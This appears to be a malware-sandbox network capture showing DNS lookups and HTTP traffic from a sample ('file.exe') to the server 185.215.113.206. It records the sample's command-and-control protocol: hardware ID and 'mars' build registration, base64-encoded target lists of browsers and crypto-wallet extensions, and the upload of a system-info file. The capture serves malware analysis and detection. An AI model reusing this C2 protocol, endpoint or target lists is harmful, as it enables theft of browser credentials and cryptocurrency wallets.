Nov 12, 2024 06:23:49.918462992 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:52.023709059 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:52.023709059 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:23:55.929779053 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:23:55.929779053 CET	1.1.1.1	192.168.2.5	0x4696	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:18.006190062 CET	1.1.1.1	192.168.2.5	0x2d2b	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:24:18.006190062 CET	1.1.1.1	192.168.2.5	0x2d2b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:18.006190062 CET	1.1.1.1	192.168.2.5	0x2d2b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:18.006190062 CET	1.1.1.1	192.168.2.5	0x2d2b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:18.006190062 CET	1.1.1.1	192.168.2.5	0x2d2b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:18.006190062 CET	1.1.1.1	192.168.2.5	0x2d2b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:18.006190062 CET	1.1.1.1	192.168.2.5	0x2d2b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Nov 12, 2024 06:24:24.917757034 CET	1.1.1.1	192.168.2.5	0x2bf	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 06:24:33.879864931 CET	1.1.1.1	192.168.2.5	0x4666	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	4276	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:23:02.928867102 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 06:23:03.825930119 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:03.903665066 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 30 45 43 33 35 30 44 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="hwid"A00EC350DF1F1622379703------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="build"mars------CBAKEBGIIDAFIDHIIECF--
Nov 12, 2024 06:23:04.194020033 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 57 45 31 4f 57 55 35 59 54 5a 6b 4d 47 4e 6c 4f 44 64 6c 4f 57 4d 34 4e 54 6b 77 4d 32 52 69 59 32 49 77 4d 6a 63 33 4d 54 51 77 4e 54 59 31 4e 6d 59 79 4e 6a 49 7a 4e 57 4a 6a 4e 6a 55 7a 59 6d 46 68 59 6a 55 77 4e 6d 55 7a 4f 57 55 78 4d 54 4d 35 5a 6a 68 6c 4e 47 49 31 4e 6d 52 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NWE1OWU5YTZkMGNlODdlOWM4NTkwM2RiY2IwMjc3MTQwNTY1NmYyNjIzNWJjNjUzYmFhYjUwNmUzOWUxMTM5ZjhlNGI1NmRifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 06:23:04.195456982 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="message"browsers------DAEBFHJKJEBFCBFHDAEG--
Nov 12, 2024 06:23:04.473500013 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 12, 2024 06:23:04.473568916 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 12, 2024 06:23:04.475362062 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 2d 2d 0d 0a Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="message"plugins------JEBKJDAFHJDGDHJKKEGI--
Nov 12, 2024 06:23:04.752774000 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 06:23:04.752785921 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 12, 2024 06:23:04.752794981 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 12, 2024 06:23:04.752808094 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 12, 2024 06:23:04.752820015 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 12, 2024 06:23:04.752832890 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 12, 2024 06:23:04.752844095 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 12, 2024 06:23:04.754976988 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="message"fplugins------JJKJDAEBFCBKECBGDBFC--
Nov 12, 2024 06:23:05.031939983 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 06:23:05.053097963 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDB Host: 185.215.113.206 Content-Length: 5819 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 06:23:05.053129911 CET	5819	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 Data Ascii: ------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 12, 2024 06:23:05.351878881 CET	1236	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDB Host: 185.215.113.206 Content-Length: 5819 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 6c 7a 64 47 56 74 58 32 6c 75 5a 6d 38 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 43 6b 35 6c 64 48 64 76 63 6d 73 [TRUNCATED] 